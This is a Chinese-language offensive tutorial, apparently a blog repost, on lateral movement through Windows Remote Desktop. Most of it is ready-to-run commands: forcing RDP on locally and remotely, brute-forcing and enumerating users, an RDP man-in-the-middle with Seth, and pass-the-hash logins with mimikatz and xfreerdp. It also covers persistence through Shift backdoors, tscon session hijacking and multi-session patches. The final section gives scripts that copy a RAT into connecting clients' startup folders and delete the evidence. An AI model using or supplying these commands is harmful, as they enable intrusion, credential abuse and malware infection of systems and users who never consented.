橫向滲透之 [RDP]

一、RDP 服務確定和啟動

1. 確定RDP服務是否啟動和服務埠

(1)註冊表查詢

REG QUERY "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections # 查看RDP服務是否開啟:1關閉,0開啟 REG QUERY "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server WinStationsRDP-Tcp" /v PortNumber # 查看RDP服務的埠

(2)進程查看

tasklist /svc | find "TermService" # 找到對應服務進程的PID netstat -ano | find "3220" # 找到進程對應的埠號

2. 啟動RDP服務

(1)cmd 本地註冊表啟動

REG ADD "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConne ctions /t REG_DWORD /d 00000000 /f REG ADD "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWi nStationsRDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f # 監聽 3389 埠

也可以通過reg配置文件的方式啟動:regedit /s startrdp.reg

Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server] "fDenyTSConnections"=dword:00000000 [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStation sRDP-Tcp] "PortNumber"=dword:00000d3d

(2) 利用Wmic 啟動遠程主機的RDP服務

wmic /node: "192.168.1.160" /USER:"192.168.1.160administrator" PATH win32_ermi nalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1 # 需要輸入遠 程機器上管理員密碼

二、RDP 用戶登錄前

1. 有效用戶獲得&確定

(1) 明文密碼:RDP爆破,SMB爆破(使用MSF中的smb_login 模組可以確定有效用戶並判斷是否是管理員組的)等工具

(2) Hash:Impacket工具包中的rdp_check.py 腳本可以通過hash確定目標機器是否存在枚舉的用戶

python rdp_check.py ./[email protected] -hashes :618B18AD4171A53695DD99 7AB02D55C4

當用戶存在時會提示 Access Granted,否者提示 Access Denied

(3) RDP中間人:Seth

./seth.sh eth0 10.0.0.2(myip) 10.0.0.3(client) 10.0.0.1(server) # 在10.0.0.2機器上,劫持由10.0.0.3向10.0.0.1的RDP申請,獲得登錄明文

執行後客戶端鏈接伺服器會失敗,過段時間恢復正常

2. 判斷能否直接登錄

通過上述步驟確定用戶及密碼後,如果用戶是管理員組的可以直接通過別的方式在遠程 主機上執行命令或者反彈shell,利用query user查看在線的用戶或者利用tasklist查看遠程主機上的進程是否有目標用戶的進行判斷。

但是如果普通的用戶,那需要進一步判斷目標系統來確定合適的登錄時機

(1) Windows XP、2003 支援統一用戶登陸多地登陸互不影響,使用query user查看在線用戶,XP沒有該命令也可以使用taskmgr從任務管理器查看,同一許可權下可以相互注 銷會話。

(2) 非伺服器版本的Windows 系統默認只允許一個賬戶登錄。當遠程用戶登錄時使用與原系統相同的賬戶,原系統將切換到登陸頁面,並會看到登陸的機器名

如果使用不同的賬戶,原系統將彈窗提示其他用戶已登陸到此電腦

選擇繼續後,原系統將會提示是否埠當前鏈接(30s後默認選擇同意,退出到登陸頁面)

三、RDP 登錄

1. Windows 明文登錄

mstsc.exe  mstsc.exe /console /v:192.168.1.5 /admin # 如果登錄用戶數量達到限制,可以使用該命令強制踢出一個用戶

2. Linux 明文登錄

rdesktop 192.168.1.5:3389

3. Windows上用戶hash 登錄

(1) mstsc.exe

Server需要開啟 Restricted Admin mode,在Windows 8.1Windows Server 2012 R2中默認開啟,同時如果Win 7 和Windows Server 2008 R安裝了2871997、2973351修補程式也支援;Client需要支援 Restricted Admin mode,當前系統不支援,鏈接時將出現如下:

可以通過如下命令開啟 Restricted Admin mode

REG ADD "HKLMSystemCurrentControlSetControlLsa" /v DisableRestrictedAdmin / t REG_DWORD /d 00000000 /f

開啟後使用:mstsc.exe /restrictedadmin 進行登錄不需要密碼,將使用當前用戶的hash 進行驗證

(2) mimikatz.exe

mimikatz.exe # 需要管理員許可權  privilege::debug  sekurlsa::pth /user:administrator /domain:remoteserver /ntlm:d25ecd13fddbb542d2 e16da4f9e0333d "/run:mstsc.exe /restrictedadmin"

4 . Linux上使用用戶hash登錄

apt-get update  apt-get install freerdp-x11 # 安裝支援 /pth 參數的版本  xfreerdp /u:administrator /p:test123! /v:192.168.62.136 /cert-ignore # 使用明文的登錄  xfreerdp /u:administrator /pth:d25ecd13fddbb542d2e16da4f9e0333d /v:192.168.62.1  36 /cert-ignore # 使用hash登錄

PS:這裡有一個坑,高版本xfreerdp不支援 /pth 參數,可以使用上面的安裝命令安裝支援/pth的版本,也可以使用kali/parrot中默認安裝好

PS2:如果RDP服務啟動了,客戶端無法鏈接,可能是防火牆配置的問題,可以執行如下命 令添加防火牆規則允許3389埠TCP通訊

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in l  ocalport=3389 action=allow

PS3:如果出現遠程連接出現身份驗證錯誤,要求的函數不支援,解決方法:

REG add HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemCredSSP Parameters /v AllowEncryptionOracle /t REG_DWORD /d 2 /f

四、關於 RDP 許可權維持方法

1. 關閉 RDP 安全認證

當伺服器開啟安全認證時,必須先通過登陸密碼才能進入遠程桌面;如果服務端用的是 不安全的認證方式,即可以先遠程鏈接後登陸可以觸發Shift後門

如何設置不安全的連接,去掉」僅允許使用網路級別的身份驗證的遠程桌面的電腦連 接」選項,需要注意的是先上系統後驗證也會在電腦本地留下一定的進程、日誌。

2. Shift後門 + RDP劫持

配合上面的關閉RDP安全認證方式,利用Shift後門可以讓攻擊者快速獲得System權 限,結合RDP劫持可以實現無需創建用戶、不更改劫持用戶登錄時間、解鎖劫持用戶介面、 等功能。注意RDP劫持需要System許可權

tscon id # (要劫持的用戶id,query user查看)

另外一種方法可以通過創建服務激活

sc create rdpjack binpath="cmd.exe /k tscon 2 /dest:console" net start radjack # 執行後切換到目標介面下

Mimikatz中也有相關的利用模組

mimikatz.exe  ts::sessions  ts::remote /id:1  privilege::debug  token::elevate  ts::remote /id:1

3. 開啟多人登錄模式

設置完成後,使用相同的用戶登錄互不影響,不會有彈窗提示、鎖屏等狀況,和 Windows Server 2003相同。

(1)手動設置:將電腦配置(Computer Configuration)->管理模板 (Administrative Templates)->Windows組件(Windows Components)->遠程桌面 服務(Remote Desktop Services)->遠程桌面會話主機(Remote Desktop Session Host)->鏈接(Connections),禁用」將遠程桌面服務的用戶限制到單獨的遠程桌面會 話」(Restrict Remote Desktop Services users to a single Remote Desktop Services session) (2)Mimikatz 開啟多用戶登錄,支援Win 7 及以前的版本系統

mimikatz.exe  privilege::debug  ts::multirdp

PS:使用與原系統相同的賬戶,原系統還是會被切換到登錄介面;不同賬戶登陸成功 (3)RDPwrap:支援Win Vista – Win10

RDPWinst.exe -i is # 安裝  RDPWinst.exe -u # 卸載

(4)SharpDoor:僅使用於Win 10 開啟多會話RDP

五、RDP 伺服器反打客戶端

需要客戶端RDP鏈接時,開啟磁碟共享(將本地磁碟掛在到伺服器上)才能正常利用

1. RDPInception:在服務端開啟,修改bat腳本執行powershell、exe或者dll,等待客 戶端連接拷貝到客戶端啟動項中(需要客戶端共享文件)執行,每次啟動嘗試鏈接。

2. 手動利用過程:假設客戶端和登錄伺服器的用戶都是Administrator

(1)在伺服器端設置Administrator 啟動項 目,C:UsersAdministratorAppDataRoamingMicrosoftWindowsStartMenuPrograms

Startuppowershell.vbs 作用是無彈窗執行bat腳本

set ws=WScript.CreateObject("WScript.Shell") ws.Run "C:Windows.bat",0 ws.Run "cmd /c del C:WindowsTempservice.exe",0

(2)Windows.bat 腳本內容實現馬(service.exe)拷貝到客戶端的啟動目錄

copy "C:WindowsTempservice.exe" "\tsclientcUsersAdministratorAppDataRo amingMicrosoftWindowsStart MenuProgramsstartupservice.exe"

也可以根據實際情況,將Rat拷貝到客戶端的其他目錄,將激活腳本拷貝到客戶端啟動目 錄;如果不出網的情況下,也可以將exe替換成要執行的腳本 。

之前部分文檔下載鏈接時效7天:

鏈接:https://pan.baidu.com/s/1qPdpMwYdBWOhf427Momy9g

提取碼:hed1